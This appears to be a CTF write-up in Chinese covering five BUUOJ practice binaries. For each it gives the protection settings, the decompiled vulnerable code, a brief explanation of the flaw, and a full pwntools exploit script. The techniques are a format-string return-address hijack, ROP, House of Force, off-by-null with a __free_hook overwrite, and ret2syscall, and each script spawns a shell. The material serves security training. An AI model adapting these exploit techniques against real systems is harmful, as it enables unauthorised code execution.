falca@Ubuntu-2000:~/Desktop/hitcontraining_playfmt$ file playfmt; checksec playfmt
playfmt: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=38c67cd31046e505ee0b71aeb170232225f3e11b, not stripped
[*] '/home/falca/Desktop/hitcontraining_playfmt/playfmt'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
什么保护都不开
int do_fmt()
{
int result; // eax
while ( 1 )
{
read(0, buf, 0xC8u);
result = strncmp(buf, "quit", 4u);
if ( !result )
break;
printf(buf);
}
return result;
}
堆上的fmt漏洞, ebp链劫持ret addr
from pwn import *
url, port = "node4.buuoj.cn", 28605
filename = "./playfmt"
elf = ELF(filename)
libc = ELF('./libc32-2.23.so')
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
lf = lambda STRING, addr: log.info('{}: {}'.format(STRING, hex(addr)))
'''
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL
0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
esi is the GOT address of libc
[esp+0x2c] == NULL
0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
esi is the GOT address of libc
[esp+0x30] == NULL
0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x5f065 execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x5f066 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
'''
def pwn():
gadgets = [0x3a80c, 0x3a80e, 0x3a812, 0x3a919, 0x5f065, 0x5f066]
io.recvlines(3)
io.sendline("%6$p,%19$p")
stack_addr, libc_addr = io.recvline()[:-1].split(b",")
stack_addr = int(stack_addr, 16)
libc_addr = int(libc_addr, 16)
lf("stack addr", stack_addr)
lf("libc addr", libc_addr)
libc.address = libc_addr - 247 - libc.sym['__libc_start_main']
lf("libc base addr", libc.address)
one_gadget = libc.offset_to_vaddr(gadgets[0])
# get ebp low addr
low_1_b = stack_addr & 0xff
# hijack ebp-->addr to retaddr
payload = "%{}c%6$hhn".format(low_1_b + 4).ljust(0x18, "z")
io.sendline(payload)
io.recv()
sleep(2)
# hijack retaddr to one_gadget
payload = "%{}c%10$hn".format(one_gadget & 0xffff).ljust(0x18, "z")
io.sendline(payload)
io.recv()
sleep(2)
# hijack ebp-->addr to retaddr (high addr)
payload = "%{}c%6$hhn".format(low_1_b + 4 + 2).ljust(0x10, "z")
io.sendline(payload)
io.recv()
sleep(2)
# hijack retaddr to one_gadget(high addr)
payload = "%{}c%10$hn".format((one_gadget >> 16) & 0xffff).ljust(0x18, "z")
io.sendline(payload)
io.recv()
sleep(2)
# recover ebp-->addr
payload = "%{}c%6$hhn".format(low_1_b + 0x10).ljust(0x18, "z")
io.sendline(payload)
io.recv()
sleep(2)
io.sendline("quit")
if __name__ == "__main__":
pwn()
io.interactive()
falca@Ubuntu-2000:~/Desktop/gwctf_2019_easy_pwn$ file gwctf_2019_easy_pwn; checksec gwctf_2019_easy_pwn
gwctf_2019_easy_pwn: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=65ad94981d6821c48b786e3b9dd00c31caa4f398, stripped
[*] '/home/falca/Desktop/gwctf_2019_easy_pwn/gwctf_2019_easy_pwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
C++写的, 耐心分析一下, 功能就是把输入的字符串中的 I 转为 pretty
int sub_8049091()
{
int v0; // eax
int v1; // eax
unsigned int v2; // eax
int v3; // eax
const char *v4; // eax
_DWORD v6[3]; // [esp+0h] [ebp-68h] BYREF
char s[32]; // [esp+Ch] [ebp-5Ch] BYREF
char v8[24]; // [esp+2Ch] [ebp-3Ch] BYREF
char v9[24]; // [esp+44h] [ebp-24h] BYREF
unsigned int i; // [esp+5Ch] [ebp-Ch]
memset(s, 0, sizeof(s));
puts("Hello,please tell me your name!");
read(0, s, 0x20u);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(&unk_804C0CC, &unk_804A070);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804C0CC, s);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v8, &unk_804C0E4);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(v9, &unk_804C0CC);
sub_8048F8B(v6);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v9);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v8);
if ( sub_8049556(v6) > 1 )
{
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=(&unk_804C0CC, &unk_804A070);
v0 = sub_8049576(v6, 0);
if ( (unsigned __int8)sub_804958E(v0, &unk_804A070) )
{
v1 = sub_8049576(v6, 0);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804C0CC, v1);
}
for ( i = 1; ; ++i )
{
v2 = sub_8049556(v6);
if ( v2 <= i )
break;
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804C0CC, "pretty");
v3 = sub_8049576(v6, i);
std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(&unk_804C0CC, v3);
}
}
v4 = (const char *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::c_str(&unk_804C0CC);
strcpy(s, v4);
printf("Bye!%s", s);
return sub_8049488(v6);
}
因为替换导致在strcpy的时候发生溢出, 而且保护没有canary, 直接ROP就行
from pwn import *
url, port = "node4.buuoj.cn", 28119
filename = "./gwctf_2019_easy_pwn"
elf = ELF(filename)
libc = ELF('./libc32-2.23.so')
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
lf = lambda STRING, addr: log.info('{}: {}'.format(STRING, hex(addr)))
'''
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
esi is the GOT address of libc
[esp+0x28] == NULL
0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
esi is the GOT address of libc
[esp+0x2c] == NULL
0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
esi is the GOT address of libc
[esp+0x30] == NULL
0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
esi is the GOT address of libc
[esp+0x34] == NULL
0x5f065 execl("/bin/sh", eax)
constraints:
esi is the GOT address of libc
eax == NULL
0x5f066 execl("/bin/sh", [esp])
constraints:
esi is the GOT address of libc
[esp] == NULL
'''
def pwn():
gadgets = [0x3a80c, 0x3a80e, 0x3a812, 0x3a819, 0x5f065, 0x5f066]
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x8049091
payload = b'I'*16 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
io.send(payload)
io.recvuntil('pretty'*16)
io.recv(12)
puts_addr = u32(io.recv(4))
lf('puts address', puts_addr)
libc.address = puts_addr - libc.sym['puts']
one_gadget = libc.offset_to_vaddr(gadgets[0])
payload = b'I'*16 + p32(one_gadget)
io.send(payload)
if __name__ == "__main__":
pwn()
io.interactive()
falca@Ubuntu-2000:~/Desktop/bctf2016_bcloud$ file bcloud; checksec bcloud
bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped
[*] '/home/falca/Desktop/bctf2016_bcloud/bcloud'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
input_name函数的strcpy存在内存泄露, s输入0x40个字符可以跟着泄露出name_ptr地址 (这里虽然readstr函数有off-by-null漏洞, 但是被strcpy给冲掉了
unsigned int sub_80487A1()
{
char s[64]; // [esp+1Ch] [ebp-5Ch] BYREF
char *name_ptr; // [esp+5Ch] [ebp-1Ch]
unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
memset(s, 0, 0x50u);
puts("Input your name:");
readstr(s, 64, 10);
name_ptr = (char *)malloc(0x40u);
name_buf = (int)name_ptr;
strcpy(name_ptr, s);
print_welcome(name_ptr);
return __readgsdword(0x14u) ^ v3;
}
input_org_host也有同样的问题, 并且可以借此修改top chunk size
unsigned int input_org_host()
{
char Org[64]; // [esp+1Ch] [ebp-9Ch] BYREF
char *v2; // [esp+5Ch] [ebp-5Ch]
char Host[68]; // [esp+60h] [ebp-58h] BYREF
char *v4; // [esp+A4h] [ebp-14h]
unsigned int v5; // [esp+ACh] [ebp-Ch]
v5 = __readgsdword(0x14u);
memset(Org, 0, 0x90u);
puts("Org:");
readstr(Org, 64, 10);
puts("Host:");
readstr(Host, 64, 10);
v4 = (char *)malloc(0x40u);
v2 = (char *)malloc(0x40u);
orginfo = (int)v2;
hostinfo = (int)v4;
strcpy(v4, Host);
strcpy(v2, Org);
puts("OKay! Enjoy:)");
return __readgsdword(0x14u) ^ v5;
}
House Of Force, 需要以下条件:
(1) 能够以溢出等方式控制到 top chunk 的 size 域; (2) 能够自由地控制堆分配尺寸的大小
此题满足, 所以用house of force打contents指针, 实现任意地址写, Partial RELRO可以改got表, 控制got表就可以归约到泄露libc劫持got表到system那套流程
from pwn import *
url, port = "node4.buuoj.cn", 25559
filename = "./bcloud"
elf = ELF(filename)
libc = ELF("./libc32-2.23.so")
context(arch="i386", os="linux")
local = 0
if local:
# context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
lf = lambda STRING, addr: log.info('{}: {}'.format(STRING, hex(addr)))
def B():
gdb.attach(io)
pause()
def add(size, content):
io.sendlineafter("option--->>", "1")
io.sendlineafter("Input the length of the note content:", str(size))
io.sendafter("Input the content:", content)
def edit(idx, content):
io.sendlineafter("option--->>", "3")
io.sendlineafter("Input the id:", str(idx))
io.sendafter("Input the new content:", content)
def delete(idx):
io.sendlineafter("option--->>", "4")
io.sendlineafter("Input the id:", str(idx))
def pwn():
contents_addr = 0x0804b120
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
io.sendafter("Input your name:", 'z'*0x40)
io.recvuntil('z'*0x40)
chunk0_addr = u32(io.recv(4))
lf('chunk0_addr', chunk0_addr)
io.sendafter('Org:\n', 'z'*0x40)
io.sendlineafter('Host:\n', p32(0xffffffff))
topchunk_addr = chunk0_addr + 0xd0
offset = contents_addr - topchunk_addr - 0x10 - 4 # malloc(size + 4)
lf('offset', offset)
add(offset, '')
payload = p32(0) + p32(free_got) + p32(puts_got)
payload += p32(contents_addr + 0x10) + b'/bin/sh\x00'
add(0x18, payload)
edit(1, p32(puts_plt) + b'\n') # hijack free@got to put@plt
delete(2) # puts puts@got leak libc
print(io.recv(1))
libc.address = u32(io.recv(4)) - libc.sym['puts']
lf('libc base addr', libc.address)
system_addr = libc.sym['system']
lf('system addr', system_addr)
edit(1, p32(system_addr) + b'\n')
delete(3)
if __name__ == "__main__":
pwn()
io.interactive()
坑点总结, sendlineafter(string, payload)
中的string结尾不要带'\n'
, 远程IO交互会出错 (也是服了
falca@Ubuntu-2000:~/Desktop/asis2016_b00ks$ file b00ks; checksec b00ks
b00ks: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=cdcd9edea919e679ace66ad54da9281d3eb09270, stripped
[*] '/home/falca/Desktop/asis2016_b00ks/b00ks'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
off-by-null经典例题
漏洞在读入函数, 会多写一个null
__int64 __fastcall readstr(_BYTE *buf, int size)
{
int i; // [rsp+14h] [rbp-Ch]
if ( size <= 0 )
return 0LL;
for ( i = 0; ; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) != 1 )
return 1LL;
if ( *buf == '\n' )
break;
++buf;
if ( i == size )
break;
}
*buf = 0;
return 0LL;
}
另外在data段可以越界写入null字节, 而后author_name可以覆盖掉null字节, 打印name时因为没有截断符则可以泄露内存信息
off-by-one布局堆, unsorted bin attack泄露libc, 劫持free_hook
from pwn import *
url, port = "node4.buuoj.cn", 28118
filename = "./b00ks"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
lf = lambda STRING, addr: log.info('{}: {}'.format(STRING, hex(addr)))
def B():
gdb.attach(io)
pause()
def add(name_size, name, content_size, content):
io.sendlineafter('> ', '1')
io.sendlineafter('size: ', str(name_size))
io.sendlineafter('chars): ', name)
io.sendlineafter('size: ', str(content_size))
io.sendlineafter('tion: ', content)
def delete(index):
io.sendlineafter('> ', '2')
io.sendlineafter('delete: ', str(index))
def edit(index, content):
io.sendlineafter('> ', '3')
io.sendlineafter('edit: ', str(index))
io.sendlineafter('ption: ', content)
def show():
io.sendlineafter('> ', '4')
def change(author_name):
io.sendlineafter('> ', '5')
io.sendlineafter('name: ', author_name)
def pwn():
io.sendlineafter('name: ', 'z'*0x20)
add(0xd0, 'falcaaaa', 0x20, 'fa1c4444')
show()
io.recvuntil('z' * 0x20)
heap_addr = u64(io.recv(6).ljust(8, b'\x00'))
lf('heap addr', heap_addr)
add(0x80, 'falcaaaa', 0x60, 'fa1c4444')
add(0x20, '/bin/sh', 0x20, '/bin/sh')
delete(2)
payload = p64(1) + p64(heap_addr + 0x30) + p64(heap_addr + 0x180 + 0x50) + p64(0x20)
edit(1, payload)
change('z'*0x20)
show()
malloc_hook_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
libc.address = malloc_hook_addr - libc.sym['__malloc_hook']
lf('libc base address', libc.address)
__free_hook = libc.sym['__free_hook']
system_addr = libc.sym['system']
lf('free hook address', __free_hook)
payload = p64(__free_hook) + b'\x00\x00' + b'\x20'
edit(1, payload)
edit(3, p64(system_addr))
delete(3)
if __name__ == "__main__":
pwn()
io.interactive()
falca@Ubuntu-2000:~/Desktop/warmup$ file warmup; checksec warmup
warmup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, BuildID[sha1]=c1791030f336fcc9cda1da8dc3a3f8a70d930a11, stripped
[*] '/home/falca/Desktop/warmup/warmup'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
程序功能很简单, 读入一次字符串
void __noreturn start()
{
time(0xAu);
print(1, aWelcomeTo0ctf2, 0x16u);
read();
exit();
}
0x34写入32会有栈溢出, 但限制长度, ROP可以长20字节, 就是5个p32()
unsigned __int64 sub_804815A()
{
char addr[32]; // [esp+10h] [ebp-20h] BYREF
sysread(0, addr, 0x34u);
print(1, aGoodLuck, 0xBu);
return 0xDEADBEAFDEADBEAFLL;
}
有sysread, syswrite
那就是ret2syscall了, 控制好参数可以int80中断时调用execve(“/bin/sh”)
32位 syscall 的传参
eax: 系统调用号
ebx: 参数1
ecx: 参数2
edx: 参数3
先向data段注入"/bin/sh", 然后第二次利用时劫持程序到0x08048122, 控制好参数执行execve, 这里如果第二次ROP直接到0x08048122, 会因为eax设置不对而调用失败, 所以需要先劫持到sysread, 再写入一次, 这里就比较考验基本功了read读入的字符数会在eax中作为返回值进行保存, 所以这时传入的字符数还得恰好是0xb==11个, 跟着0x08048122才正好调用成功
这里只注入一次会失败, 因为envp参数==0x1而不是0, 中断时就出错了, 所以还就得调用两次sysread
from pwn import *
url, port = "node4.buuoj.cn", 25860
filename = "./warmup"
elf = ELF(filename)
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
data_addr = 0x080491BC
read_addr = 0x0804811D
start_addr = 0x080480D8
syscall_addr = 0x08048122
zero_addr = 0x08049220
payload = cyclic(0x20) + p32(read_addr) + p32(start_addr)
payload += p32(0) + p32(data_addr) + p32(8)
io.sendafter('2016!\n', payload)
sleep(0.2)
io.send('/bin/sh\x00')
payload = cyclic(0x20) + p32(read_addr) + p32(syscall_addr)
payload += p32(0) + p32(data_addr) + p32(zero_addr)
sleep(0.2)
io.send(payload)
sleep(0.2)
# B()
io.send('/bin/sh\x00\x00\x00\x00')
if __name__ == "__main__":
pwn()
io.interactive()